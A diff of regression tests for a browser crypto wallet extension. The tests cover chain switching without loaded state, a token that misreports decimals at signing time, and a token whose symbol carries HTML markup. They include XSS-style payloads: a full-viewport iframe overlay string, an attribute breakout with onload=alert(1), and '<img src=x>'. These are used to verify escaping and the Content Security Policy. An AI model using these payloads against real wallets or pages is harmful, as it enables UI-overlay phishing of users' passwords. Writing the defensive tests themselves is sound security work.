+                    messageListener = fn;
+                },
+            },
+            onConnect: { addListener: () => {} },
+            lastError: null,
+        },
+        windows: {
+            getLastFocused: (cb) => cb(null),
+            create: (options, cb) => cb({ id: 1 }),
+            remove: (id, cb) => {
+                if (cb) cb();
+            },
+            onRemoved: { addListener: () => {} },
+        },
+        tabs: {
+            query: (queryInfo, cb) => cb([{ id: 1 }]),
+            sendMessage: (tabId, message, cb) => {
+                toTabs.push(message);
+                if (cb) cb();
+            },
+        },
+        action: { setPopup: () => {} },
+    };
+
+    require("../src/background/index");
+
+    async function switchChain(chainId) {
+        let result = null;
+        messageListener(
+            {
+                type: "AUTISTMASK_RPC",
+                method: "wallet_switchEthereumChain",
+                params: [{ chainId }],
+            },
+            { origin: CONNECTED_ORIGIN },
+            (r) => {
+                result = r;
+            },
+        );
+        await settle();
+        return result;
+    }
+
+    return {
+        switchChain,
+        persisted: () => store.autistmask,
+        chainChangedEvents: () =>
+            toTabs.filter((m) => m.eventName === "chainChanged"),
+    };
+}
+
+describe("a chain switch on a worker that never loaded state", () => {
+    test("keeps the wallets, approvals, tokens and custom endpoint", async () => {
+        const bg = loadColdWorker("mainnet");
+
+        const result = await bg.switchChain(SEPOLIA.chainId);
+        expect(result).toEqual({ result: null });
+
+        const after = bg.persisted();
+        // The switch itself happened.
+        expect(after.networkId).toBe("sepolia");
+        expect(after.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
+
+        // And it took nothing else with it. Without the load these come back
+        // as [], {}, [] and "system" from DEFAULT_STATE — every wallet in the
+        // extension gone, encrypted secrets included.
+        expect(after.wallets).toEqual(walletFixture());
+        expect(after.hasWallet).toBe(true);
+        expect(after.activeAddress).toBe(ADDRESS);
+        expect(after.allowedSites).toEqual({ [ADDRESS]: [CONNECTED_HOSTNAME] });
+        expect(after.trackedTokens).toEqual([
+            { address: TOKEN, symbol: "DAI", decimals: 18 },
+        ]);
+        expect(after.theme).toBe("dark");
+
+        // The user's mainnet endpoint is remembered rather than replaced by
+        // the public default, so switching back returns it.
+        expect(after.networkEndpoints.mainnet).toEqual({
+            rpcUrl: CUSTOM_RPC,
+            blockscoutUrl: CUSTOM_BLOCKSCOUT,
+        });
+
+        await bg.switchChain(MAINNET.chainId);
+        expect(bg.persisted().rpcUrl).toBe(CUSTOM_RPC);
+        expect(bg.persisted().blockscoutUrl).toBe(CUSTOM_BLOCKSCOUT);
+        expect(bg.persisted().wallets).toEqual(walletFixture());
+    });
+
+    test("compares the requested chain against the stored one, not the default", async () => {
+        // Stored on Sepolia, asked for mainnet. Reading the unloaded
+        // singleton makes this look like the chain already active, so the
+        // page is told the switch succeeded while the wallet stays on the
+        // testnet it was on.
+        const bg = loadColdWorker("sepolia");
+
+        const result = await bg.switchChain(MAINNET.chainId);
+        expect(result).toEqual({ result: null });
+
+        expect(bg.persisted().networkId).toBe("mainnet");
+        expect(bg.chainChangedEvents()).toEqual([
+            {
+                type: "AUTISTMASK_EVENT",
+                eventName: "chainChanged",
+                data: MAINNET.chainId,
+            },
+        ]);
+    });
+});

tests/e2e/network.js

@@ -221,11 +221,6 @@ const RPC_RESULTS = {
     eth_estimateGas: hex(GAS_LIMIT),
     eth_getTransactionCount: "0x0",
     eth_maxPriorityFeePerGas: hex(PRIORITY_FEE_WEI),
-    // "not mined yet", which is what a node answers for a transaction it has
-    // only just accepted. The wait screen the dApp transaction approval hands
-    // off to polls this every 10 seconds; leaving it unstubbed would report
-    // the poll as escaping traffic the moment a test outlived one tick.
-    eth_getTransactionReceipt: null,
 };
 
 // The "latest" block, which ethers' getFeeData() reads baseFeePerGas from
@@ -253,26 +248,35 @@ function latestBlock() {
 const SELECTOR_DECIMALS = "0x313ce567";
 
 // Every eth_call still answers with a zero word except decimals() on the
-// stub token. ethers reads that before it can encode an ERC-20 transfer,
-// and a zero there makes parseUnits() reject any fractional amount — so the
-// ERC-20 confirmation path would fail its gas estimate for a reason that
-// has nothing to do with what is being tested.
-function ethCallResult(req) {
+// stub token, which the wallet reads back at signing time to compare with
+// the scale the confirmation screen rendered (issue #305).
+//
+// opts.tokenDecimalsOverride is the lying contract: set it and decimals()
+// answers something other than the value this same fixture reports through
+// Blockscout, which is exactly the disagreement the wallet must refuse to
+// sign over. It is read at request time, so a test flips it on the options
+// object the route was registered with — after the confirmation screen has
+// been built — without re-registering anything.
+function ethCallResult(req, opts) {
     const call = Array.isArray(req.params) ? req.params[0] : null;
     if (!call || typeof call !== "object") return ZERO_WORD;
     const data = String(call.data || call.input || "").toLowerCase();
     const to = String(call.to || "").toLowerCase();
     if (data.startsWith(SELECTOR_DECIMALS) && to === STUB_TOKEN.address) {
-        return word(STUB_TOKEN.decimals);
+        return word(opts.tokenDecimalsOverride || STUB_TOKEN.decimals);
     }
     return ZERO_WORD;
 }
 
-function tokenObject() {
+// opts.tokenSymbolOverride is the hostile contract: set it and the explorer
+// reports that string as the token's symbol, exactly as it would for a token
+// whose symbol() returns markup. Read at request time, like every other
+// fixture switch, so a test can flip it and reopen the popup.
+function tokenObject(opts) {
     return {
         address_hash: STUB_TOKEN.address,
         address: STUB_TOKEN.address,
-        symbol: STUB_TOKEN.symbol,
+        symbol: (opts && opts.tokenSymbolOverride) || STUB_TOKEN.symbol,
         name: STUB_TOKEN.name,
         decimals: STUB_TOKEN.decimals,
         holders_count: STUB_TOKEN.holders,
@@ -281,7 +285,7 @@ function tokenObject() {
 }
 
 // One received ERC-20 transfer of 1.5 E2E to the address under test.
-function tokenTransferItems(address) {
+function tokenTransferItems(address, opts) {
     return [
         {
             transaction_hash: STUB_TX_HASH,
@@ -290,7 +294,7 @@ function tokenTransferItems(address) {
             from: { hash: STUB_COUNTERPARTY },
             to: { hash: address },
             total: { decimals: STUB_TOKEN.decimals, value: "1500000" },
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -317,11 +321,11 @@ function nativeTransactionItems(address) {
 // A holding of 1.5 E2E, in the shape src/shared/balances.js parses. Serving
 // this is what puts an ERC-20 in the send screen's token dropdown, which is
 // the only way the confirmation screen's ERC-20 path can be reached.
-function tokenBalanceItems() {
+function tokenBalanceItems(opts) {
     return [
         {
             value: "1500000",
-            token: tokenObject(),
+            token: tokenObject(opts),
         },
     ];
 }
@@ -346,6 +350,38 @@ function transactionDetails(hash) {
     };
 }
 
+// The receipt for a transaction this run broadcast.
+//
+// eth_getTransactionReceipt otherwise answers null — "not mined yet", which is
+// what a node says about a transaction it has only just accepted, and what the
+// wait screen has to keep polling through. opts.seedReceipt confirms it
+// instead, which is how a test that drives the popup's own send to a broadcast
+// gets off the wait screen: the wait resolves to the success view, which has a
+// Done button, rather than polling for a receipt for the rest of the suite.
+//
+// Every field ethers' receipt formatter requires is present. A receipt it
+// cannot parse throws inside the poll, which the wallet reports through
+// log.errorf — i.e. console.error — and the harness fails the run on, so a
+// half-populated fixture here would surface as an unrelated-looking failure.
+function transactionReceipt(hash) {
+    return {
+        transactionHash: hash,
+        transactionIndex: "0x0",
+        blockHash: "0x" + "33".repeat(32),
+        blockNumber: hex(STUB_BLOCK_NUMBER),
+        from: STUB_COUNTERPARTY,
+        to: STUB_TOKEN.address,
+        cumulativeGasUsed: hex(GAS_LIMIT),
+        gasUsed: hex(GAS_LIMIT),
+        effectiveGasPrice: hex(GAS_PRICE_WEI),
+        contractAddress: null,
+        logs: [],
+        logsBloom: "0x" + "00".repeat(256),
+        status: "0x1",
+        type: "0x2",
+    };
+}
+
 function jsonResponse(route, body) {
     return route.fulfill({
         status: 200,
@@ -408,7 +444,13 @@ function rpcReply(req, opts, report) {
         });
     }
     if (req.method === "eth_call") {
-        return Object.assign(envelope, { result: ethCallResult(req) });
+        return Object.assign(envelope, { result: ethCallResult(req, opts) });
+    }
+    if (req.method === "eth_getTransactionReceipt") {
+        const hash = Array.isArray(req.params) ? req.params[0] : null;
+        return Object.assign(envelope, {
+            result: opts.seedReceipt && hash ? transactionReceipt(hash) : null,
+        });
     }
     if (req.method === "eth_getBlockByNumber") {
         return Object.assign(envelope, { result: latestBlock() });
@@ -555,6 +597,14 @@ function traceEnabled(raw) {
  *   eth_estimateGas until this is cleared again.
  * @param {string[]} [opts.broadcastTransactions]  every raw signed
  *   transaction handed to eth_sendRawTransaction, appended in order.
+ * @param {string} [opts.tokenDecimalsOverride]  what decimals() answers for
+ *   the stub token, in place of the value Blockscout reports for it. This is
+ *   the token that lies about its scale; read at request time.
+ * @param {string} [opts.tokenSymbolOverride]  what the explorer reports as
+ *   the stub token's symbol, in place of "E2E". This is the token whose
+ *   symbol is markup; read at request time.
+ * @param {boolean} [opts.seedReceipt]  answer eth_getTransactionReceipt with a
+ *   confirmed receipt instead of null, so a wait screen resolves.
  * @returns {Promise<{waitForServiceWorkerTraffic: (ms: number) =>
  *   Promise<string|null>}>}
  */
@@ -631,14 +681,14 @@ async function installNetworkStubs(ctx, opts) {
                 return jsonResponse(route, {
                     items:
                         opts.seedTokenTransfer && addr
-                            ? tokenTransferItems(addr)
+                            ? tokenTransferItems(addr, opts)
                             : [],
                 });
             }
             if (/\/addresses\/0x[0-9a-fA-F]{40}\/token-balances$/.test(p)) {
                 return jsonResponse(
                     route,
-                    opts.seedTokenBalance ? tokenBalanceItems() : [],
+                    opts.seedTokenBalance ? tokenBalanceItems(opts) : [],
                 );
             }
             for (const hash of [STUB_TX_HASH, STUB_NATIVE_TX_HASH]) {

tests/e2e/run.js

@@ -12,10 +12,12 @@
 const {
     Transaction,
     formatEther,
+    formatUnits,
     getAddress,
     getBytes,
     hexlify,
     parseEther,
+    parseUnits,
     toQuantity,
     toUtf8Bytes,
     verifyMessage,
@@ -1191,8 +1193,9 @@ test("the theme and network selectors carry a non-default persisted value (#229)
     // and a selector stuck on `dark`/`sepolia` would otherwise be
     // indistinguishable here from one that persists correctly. Switching
     // the network back also returns state.rpcUrl and state.blockscoutUrl
-    // to the mainnet defaults that onChainSwitch() overwrote, which are
-    // the values src/shared/state.js starts with.
+    // to the mainnet endpoints onChainSwitch() remembered, which this
+    // fixture never customised and so are the mainnet defaults
+    // src/shared/state.js starts with.
     await env.page.selectOption("#settings-theme", "system");
     await env.page.selectOption("#settings-network", "mainnet");
 
@@ -1964,6 +1967,358 @@ test("ConfirmTx reports a failed ERC-20 estimate as unknown, not as a fee proble
     );
 });
 
+// ------------------------- the popup's own send, end to end (#305)
+//
+// Everything above this point stops at the confirmation screen. Nothing in
+// the suite had ever clicked #btn-confirm-send, so the wallet's own Send ->
+// ConfirmTx -> Sign & Send -> WaitTx path had no coverage at all, and issue
+// #305 shipped through the gap: the screen was rendered from the explorer's
+// decimals while the transfer was encoded from decimals() read off the
+// contract at signing time, with nothing comparing the two.
+//
+// These two tests drive that path to a broadcast and read the amount out of
+// the bytes the node was handed. The first asserts those bytes against what
+// the screen displayed; the second makes the contract answer a different
+// scale after the screen was built, and requires that nothing is broadcast.
+
+// keccak("transfer(address,uint256)")[0:4].
+const SELECTOR_TRANSFER = "0xa9059cbb";
+
+// What decimals() starts answering once the confirmation screen has been
+// built. The explorer reports 6 for the same token, so a wallet that encodes
+// from the contract signs 10^12 times the amount it displayed.
+const LYING_DECIMALS = "18";
+
+const TOKEN_DECIMALS = Number(STUB_TOKEN.decimals);
+
+// The transfer() call inside a raw signed transaction, hand-decoded.
+//
+// Deliberately not run through an ethers Interface built from the
+// extension's own ABI: what is under assertion is the bytes that reached the
+// node, and the fewer assumptions the wallet and the assertion share, the
+// less room there is for both to be wrong in the same direction.
+function decodeTransfer(rawSignedTx) {
+    const signed = Transaction.from(rawSignedTx);
+    const data = signed.data.toLowerCase();
+    assert(
+        data.startsWith(SELECTOR_TRANSFER) && data.length === 10 + 128,
+        "the broadcast transaction is not an ERC-20 transfer() call: " + data,
+    );
+    return {
+        signed,
+        recipient: getAddress("0x" + data.slice(34, 74)),
+        rawAmount: BigInt("0x" + data.slice(74)),
+    };
+}
+
+// The amount the confirmation screen is showing, verbatim.
+async function shownAmount(page) {
+    return (await page.locator("#confirm-amount").innerText()).trim();
+}
+
+async function fillPasswordAndSend(page) {
+    await page.fill("#confirm-tx-password", PASSWORD);
+    await page.click("#btn-confirm-send");
+}
+
+async function goToTokenConfirm(env) {
+    await goToConfirm(env.page, {
+        token: STUB_TOKEN.address,
+        balance: TOKEN_BALANCE_TEXT + " " + STUB_TOKEN.symbol,
+        amount: TOKEN_AMOUNT,
+    });
+    await waitForEstimate(env.page);
+    const shown = await shownAmount(env.page);
+    assert(
+        shown === TOKEN_AMOUNT + " " + STUB_TOKEN.symbol,
+        "the confirmation screen is not showing the amount that was entered: " +
+            JSON.stringify(shown),
+    );
+    return shown;
+}
+
+test("the popup's own ERC-20 send broadcasts the amount it displayed (#305)", async (env) => {
+    // The previous test left the ETH balance at the fee-only fixture, which
+    // blocks sending outright; this one has to be able to press Send.
+    env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
+    await settleOnMain(env, { ethWei: FUNDED_ETH_WEI, expectToken: true });
+    const shown = await goToTokenConfirm(env);
+
+    const before = env.routeOpts.broadcastTransactions.length;
+    // Confirm the transaction once it is broadcast, so the wait screen
+    // resolves to the success view instead of polling for the rest of the run.
+    env.routeOpts.seedReceipt = true;
+    await fillPasswordAndSend(env.page);
+    await visible(env.page, "#view-wait-tx", 60000);
+
+    const broadcast = env.routeOpts.broadcastTransactions;
+    assert(
+        broadcast.length === before + 1,
+        "expected exactly one raw transaction to reach the RPC, got " +
+            (broadcast.length - before),
+    );
+    const { signed, recipient, rawAmount } = decodeTransfer(
+        broadcast[broadcast.length - 1],
+    );
+
+    // The measurement, printed on every run: the amount the user read, and
+    // what the signed bytes mean at each of the two candidate scales. Under
+    // the defect these three lines disagree.
+    console.log(
+        "# erc-20 send artifact: displayed=" +
+            JSON.stringify(shown) +
+            " rawAmount=" +
+            rawAmount +
+            " asIf" +
+            TOKEN_DECIMALS +
+            "Decimals=" +
+            formatUnits(rawAmount, TOKEN_DECIMALS) +
+            " asIf" +
+            LYING_DECIMALS +
+            "Decimals=" +
+            formatUnits(rawAmount, Number(LYING_DECIMALS)),
+    );
+
+    assert(
+        getAddress(signed.to) === getAddress(STUB_TOKEN.address),
+        "the broadcast transaction does not call the token contract: " +
+            signed.to,
+    );
+    assert(
+        recipient === getAddress(STUB_COUNTERPARTY),
+        "the broadcast transfer goes to " + recipient,
+    );
+    // What the whole issue turns on: the signed amount, read back at the
+    // scale the SCREEN rendered with, is the number the screen rendered.
+    const wanted = parseUnits(shown.split(" ")[0], TOKEN_DECIMALS);
+    assert(
+        rawAmount === wanted,
+        "the broadcast transfer moves " +
+            rawAmount +
+            " base units, which is " +
+            formatUnits(rawAmount, TOKEN_DECIMALS) +
+            " " +
+            STUB_TOKEN.symbol +
+            " at the scale the confirmation screen displayed — but the screen" +
+            " displayed " +
+            JSON.stringify(shown) +
+            ", i.e. " +
+            wanted +
+            " base units (#305)",
+    );
+
+    const summary = (
+        await env.page.locator("#wait-tx-summary").innerText()
+    ).trim();
+    assert(
+        summary === shown,
+        "the wait screen summarises the send as " +
+            JSON.stringify(summary) +
+            ", not as the approved " +
+            JSON.stringify(shown),
+    );
+
+    await visible(env.page, "#view-success-tx", 60000);
+    await env.page.click("#btn-success-tx-done");
+    await visible(env.page, "#view-address");
+    env.routeOpts.seedReceipt = false;
+});
+
+test("a token that lies about decimals() at signing time broadcasts nothing (#305)", async (env) => {
+    const shown = await goToTokenConfirm(env);
+
+    // Only now, with the screen already built and its estimate already taken
+    // at the explorer's scale, does the contract start answering differently.
+    // This is the whole shape of the defect: a value read at signing time that
+    // nothing on screen was ever derived from.
+    env.routeOpts.tokenDecimalsOverride = LYING_DECIMALS;
+    const before = env.routeOpts.broadcastTransactions.length;
+    await fillPasswordAndSend(env.page);
+    await visible(env.page, "#view-error-tx", 60000);
+    env.routeOpts.tokenDecimalsOverride = null;
+
+    assert(
+        env.routeOpts.broadcastTransactions.length === before,
+        "a transfer encoded against a contract that contradicts the " +
+            "confirmation screen still reached the RPC (#305)",
+    );
+
+    const message = (
+        await env.page.locator("#error-tx-message").innerText()
+    ).trim();
+    console.log(
+        "# erc-20 decimals refusal: displayed=" +
+            JSON.stringify(shown) +
+            " contract=" +
+            LYING_DECIMALS +
+            " message=" +
+            JSON.stringify(message),
+    );
+    assert(
+        message.includes("reports " + LYING_DECIMALS + " decimal places") &&
+            message.includes("displayed using " + STUB_TOKEN.decimals),
+        "the refusal does not name both scales it is refusing over: " +
+            JSON.stringify(message),
+    );
+    assert(
+        /^[A-Z].*\.$/s.test(message),
+        "the refusal is not a full sentence: " + JSON.stringify(message),
+    );
+
+    await env.page.click("#btn-error-tx-done");
+    await visible(env.page, "#view-address");
+});
+
+// ------------------------------------------- hostile token symbol (#307)
+//
+// The reproduction from the issue, in the real browser against the real
+// shipped manifest. A token symbol is whatever the contract's symbol()
+// returns, the explorer passes it through, and the popup interpolated it
+// into an innerHTML string — so a token with 1,000 holders airdropped to
+// the victim could paint a full-viewport cross-origin iframe over the
+// wallet's own UI, on the screens where the user types their password.
+//
+// The iframe count and the rendered text are asserted separately on
+// purpose, and neither substitutes for the other. `frame-src 'none'` stops
+// an injected frame LOADING; it does not stop the element existing, so a
+// zero iframe count is a claim about the escaping and about nothing else.
+// The literal capped text is the claim that the symbol was treated as a
+// string all the way down.
+//
+// The iframe count is taken on the address screen before anything is
+// clicked. That is where the injected frame lands first, and it covers the
+// viewport: with the escaping removed, every later step fails as a click
+// timeout ("<iframe id=\"pwn\"> intercepts pointer events") rather than as
+// anything that names the defect.
+
+// Verbatim from the issue's reproduction.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+// What a correctly escaped and capped render of it reads as: the first
+// MAX_SYMBOL_LENGTH-1 characters and an ellipsis. Spelled out rather than
+// imported, so a change to the cap has to be restated here deliberately
+// instead of being absorbed by a shared constant.
+const HOSTILE_SYMBOL_DISPLAYED = "<iframe id=" + "…";
+
+// Everything the popup can say about an injected symbol, read out of the
+// live DOM in one pass.
+function hostileSymbolState(page, tokenAddress) {
+    return page.evaluate((addr) => {
+        const row = document.querySelector(
+            '#wallet-list [data-token="' + addr + '"]',
+        );
+        // balanceLine() emits <div data-token><span><span>SYMBOL</span>…
+        // so this is the span the symbol itself was written into.
+        const symbolEl = row && row.firstElementChild.firstElementChild;
+        return {
+            rowFound: !!row,
+            rowText: row ? row.innerText.trim() : "",
+            symbolText: symbolEl ? symbolEl.textContent : "",
+            // The symbol's own span must hold text and nothing else. An
+            // element child here is the injection, whether or not it
+            // happens to be an iframe.
+            symbolElementChildren: symbolEl
+                ? symbolEl.querySelectorAll("*").length
+                : -1,
+            // The whole popup document, not just the row: an injected
+            // element positioned fixed can be anywhere in the tree.
+            iframes: document.querySelectorAll("iframe").length,
+            pwnPresent: !!document.getElementById("pwn"),
+        };
+    }, tokenAddress);
+}
+
+test("a token whose symbol() returns markup renders as text (#307)", async (env) => {
+    env.routeOpts.ethBalanceWei = toHexWei(FUNDED_ETH_WEI);
+    env.routeOpts.seedTokenBalance = true;
+    env.routeOpts.tokenSymbolOverride = HOSTILE_SYMBOL;
+    console.log(
+        "# stub token symbol() now returns: " + JSON.stringify(HOSTILE_SYMBOL),
+    );
+
+    // Close and reopen so the refresh that runs on open fetches balances
+    // with the hostile symbol in them.
+    await reopenPopup(env, "#view-address");
+    await env.page.waitForFunction(
+        (addr) =>
+            !!document.querySelector(
+                '#address-balances [data-token="' + addr + '"]',
+            ),
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+    const onAddress = await env.page.evaluate(() => ({
+        iframes: document.querySelectorAll("iframe").length,
+        pwnPresent: !!document.getElementById("pwn"),
+    }));
+    console.log("# address-detail iframes = " + onAddress.iframes);
+    assert(
+        onAddress.iframes === 0 && !onAddress.pwnPresent,
+        "the address screen contains " +
+            onAddress.iframes +
+            " iframe(s) after a hostile symbol rendered (#307)",
+    );
+
+    await env.page.click("#btn-address-back");
+    await visible(env.page, "#view-main");
+    await visible(
+        env.page,
+        '#wallet-list [data-token="' + STUB_TOKEN.address + '"]',
+        60000,
+    );
+
+    const st = await hostileSymbolState(env.page, STUB_TOKEN.address);
+    console.log(
+        "# iframes in the popup DOM = " +
+            st.iframes +
+            " | #pwn present = " +
+            st.pwnPresent +
+            " | symbol = " +
+            JSON.stringify(st.symbolText),
+    );
+
+    assert(st.rowFound, "the hostile token never rendered a row at all");
+    assert(
+        st.iframes === 0,
+        "the popup DOM contains " + st.iframes + " iframe(s) (#307)",
+    );
+    assert(!st.pwnPresent, "the injected #pwn element is in the popup DOM");
+    assert(
+        st.symbolElementChildren === 0,
+        "the symbol span grew " +
+            st.symbolElementChildren +
+            " element children out of a token symbol (#307)",
+    );
+    assert(
+        st.symbolText === HOSTILE_SYMBOL_DISPLAYED,
+        "the symbol did not render as the literal capped text " +
+            JSON.stringify(HOSTILE_SYMBOL_DISPLAYED) +
+            ": " +
+            JSON.stringify(st.symbolText),
+    );
+    assert(
+        !st.rowText.includes("z-index"),
+        "the uncapped symbol reached the screen: " + JSON.stringify(st.rowText),
+    );
+
+    // Put the fixture back before the next test reads it, and let the
+    // stored balances be rewritten with the honest symbol.
+    env.routeOpts.tokenSymbolOverride = null;
+    await reopenPopup(env, "#view-main");
+    await env.page.waitForFunction(
+        (addr) => {
+            const row = document.querySelector(
+                '#wallet-list [data-token="' + addr + '"]',
+            );
+            return !!row && row.innerText.includes("E2E");
+        },
+        STUB_TOKEN.address,
+        { timeout: 60000 },
+    );
+});
+
 // ------------------------------------------- dApp round trips (#183)
 //
 // The seam. Everything above drives the popup on its own; this section is
@@ -3094,6 +3449,16 @@ async function main() {
         ethBalanceWei: null,
         failGasEstimate: false,
         holdGasEstimate: false,
+        // What decimals() answers for the stub token, when it is to answer
+        // something other than the value the same fixture reports through
+        // Blockscout. The token that lies about its scale (#305).
+        tokenDecimalsOverride: null,
+        // What the explorer reports as the stub token's symbol. The token
+        // whose symbol() returns markup (#307).
+        tokenSymbolOverride: null,
+        // Whether eth_getTransactionReceipt confirms a transaction rather than
+        // answering "not mined yet".
+        seedReceipt: false,
         // Every raw signed transaction handed to eth_sendRawTransaction, in
         // order. The dApp transaction round trip asserts against these bytes
         // rather than against anything the extension reported about them.

tests/htmlEscape.test.js

@@ -0,0 +1,110 @@
+// The escape every view depends on, and the length bound on a displayed
+// token symbol. Both were added for #307, where a token whose symbol()
+// returned an <iframe> tag rendered that iframe inside the popup.
+
+const { escapeHtml } = require("../src/shared/html");
+const {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+} = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("escapeHtml", () => {
+    test("escapes all five characters, quotes included", () => {
+        expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
+    });
+
+    // The regression this function was rewritten for. The previous
+    // implementation round-tripped through a detached div's textContent,
+    // and an HTML text node serializes a quote as itself — so a value with
+    // a quote in it broke straight out of data-copy="..." and href="...".
+    test("escapes quotes, which the textContent round trip did not", () => {
+        expect(escapeHtml('a"b')).toBe("a&quot;b");
+        expect(escapeHtml("a'b")).toBe("a&#39;b");
+    });
+
+    test("does not double-escape an ampersand it just introduced", () => {
+        expect(escapeHtml("&lt;")).toBe("&amp;lt;");
+        expect(escapeHtml("&amp;")).toBe("&amp;amp;");
+    });
+
+    test("leaves a string with nothing to escape untouched", () => {
+        expect(escapeHtml("USDC")).toBe("USDC");
+        expect(escapeHtml("")).toBe("");
+    });
+
+    test("renders the hostile symbol inert", () => {
+        const out = escapeHtml(HOSTILE_SYMBOL);
+        expect(out).not.toContain("<");
+        expect(out).not.toContain(">");
+        expect(out).not.toContain('"');
+        expect(out).toContain("&lt;iframe");
+    });
+
+    // A quoted attribute is broken out of by a quote, a bare one by a
+    // space; both are closed here. Asserted as a whole attribute rather
+    // than character by character, because it is the attribute that has to
+    // survive, not the escape table.
+    test("a value carrying a quote stays inside its attribute", () => {
+        const evil = '" onload="alert(1)';
+        const attr = `data-copy="${escapeHtml(evil)}"`;
+        expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
+        expect(attr.split('"').length - 1).toBe(2);
+    });
+
+    test("null and undefined render as nothing rather than as words", () => {
+        expect(escapeHtml(null)).toBe("");
+        expect(escapeHtml(undefined)).toBe("");
+    });
+
+    test("coerces a non-string without losing the escape", () => {
+        expect(escapeHtml(42)).toBe("42");
+        expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
+    });
+});
+
+describe("displaySymbol", () => {
+    test("passes every symbol in the bundled list through unchanged", () => {
+        const { TOKENS } = require("../src/shared/tokenList");
+        for (const t of TOKENS) {
+            expect([t.address, displaySymbol(t.symbol)]).toEqual([
+                t.address,
+                t.symbol,
+            ]);
+        }
+    });
+
+    test("caps an over-long symbol and marks it as truncated", () => {
+        const long = "A".repeat(4096);
+        const out = displaySymbol(long);
+        expect(out.length).toBe(MAX_SYMBOL_LENGTH);
+        expect(out.endsWith("…")).toBe(true);
+    });
+
+    test("keeps a symbol of exactly the cap intact", () => {
+        const exact = "A".repeat(MAX_SYMBOL_LENGTH);
+        expect(displaySymbol(exact)).toBe(exact);
+    });
+
+    test("substitutes a placeholder for an absent symbol", () => {
+        expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
+    });
+
+    // The cap is a layout bound and nothing more: it must not be mistaken
+    // for the thing that makes a symbol safe to render. A short hostile
+    // symbol passes through it untouched, and is inert only because the
+    // caller escapes it afterwards.
+    test("does not sanitize — a short markup symbol survives it verbatim", () => {
+        expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
+        expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
+            "&lt;img src=x&gt;",
+        );
+    });
+});

tests/manifest.test.js

@@ -13,6 +13,33 @@
 // an exact match on the token set is what keeps the next edit from
 // smuggling one in alongside.
 //
+// It is also the anti-regression check for #307. The policy used to declare
+// script-src and object-src and nothing else, which left every directive
+// that does not fall back to them — and, absent default-src, every one that
+// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
+// load a full-viewport cross-origin iframe over the wallet's own UI. The
+// escaping in src/shared/html.js is the primary fix; default-src is what
+// stops the next escape that slips from reaching the network.
+//
+// Every directive below is pinned exactly, because each of the four
+// loosenings is load-bearing and none of them may grow:
+//
+//   style-src 'unsafe-inline'  src/popup/index.html and the view helpers
+//                              use style="..." attributes throughout, which
+//                              CSP blocks without it. Chrome enforces this
+//                              on attributes, not just <style> blocks, and
+//                              Firefox has never implemented style-src-attr,
+//                              so there is no narrower spelling available.
+//   img-src data:              blockies are data: PNGs assigned to img.src.
+//   connect-src https: http:   the RPC endpoint is user-configurable, and a
+//                              local node over http://127.0.0.1 is a
+//                              supported configuration — the Firefox e2e
+//                              suite runs on exactly that.
+//   frame-src/form-action/base-uri  named rather than inherited: form-action
+//                              and base-uri do not fall back to default-src
+//                              at all, and frame-src 'none' is what kills
+//                              the reported attack outright.
+//
 // build.js copies these files to dist/<target>/manifest.json verbatim, so
 // what is asserted here is what ships.
 
@@ -21,8 +48,22 @@ const path = require("path");
 
 const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
 
-const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
-const EXPECTED_OBJECT_SRC = ["'self'"];
+const EXPECTED_DIRECTIVES = {
+    "default-src": ["'self'"],
+    "script-src": ["'self'", "'wasm-unsafe-eval'"],
+    "object-src": ["'self'"],
+    "style-src": ["'self'", "'unsafe-inline'"],
+    "img-src": ["'self'", "data:"],
+    "connect-src": ["'self'", "http:", "https:"],
+    "frame-src": ["'none'"],
+    "form-action": ["'none'"],
+    "base-uri": ["'none'"],
+};
+
+// Directives that fetch script. Nothing that can execute code may name a
+// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
+// single deliberate exception and it is pinned above.
+const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
 
 const FORBIDDEN_SOURCES = [
     "'unsafe-eval'",
@@ -53,26 +94,31 @@ function parseCsp(policy) {
 
 function assertPolicy(policy) {
     const directives = parseCsp(policy);
-    expect(Object.keys(directives).sort()).toEqual([
-        "object-src",
-        "script-src",
+    // Exact, in both directions: a directive that appears here and not in
+    // EXPECTED_DIRECTIVES is an unreviewed addition, and one that
+    // disappears silently reopens whatever it was closing.
+    expect(Object.keys(directives).sort()).toEqual(
+        Object.keys(EXPECTED_DIRECTIVES).sort(),
+    );
+    for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
+        expect([name, directives[name].slice().sort()]).toEqual([
+            name,
+            sources.slice().sort(),
         ]);
-    expect(directives["script-src"].slice().sort()).toEqual(
-        EXPECTED_SCRIPT_SRC,
-    );
-    expect(directives["object-src"].slice().sort()).toEqual(
-        EXPECTED_OBJECT_SRC,
-    );
+    }
+    for (const name of SCRIPT_DIRECTIVES) {
         for (const source of FORBIDDEN_SOURCES) {
-        expect(directives["script-src"]).not.toContain(source);
-        expect(directives["object-src"]).not.toContain(source);
+            expect(name + " " + directives[name].join(" ")).not.toContain(
+                " " + source,
+            );
+        }
     }
 }
 
 describe("shipped Content Security Policy", () => {
     // MV3 takes an object and applies extension_pages to the popup and the
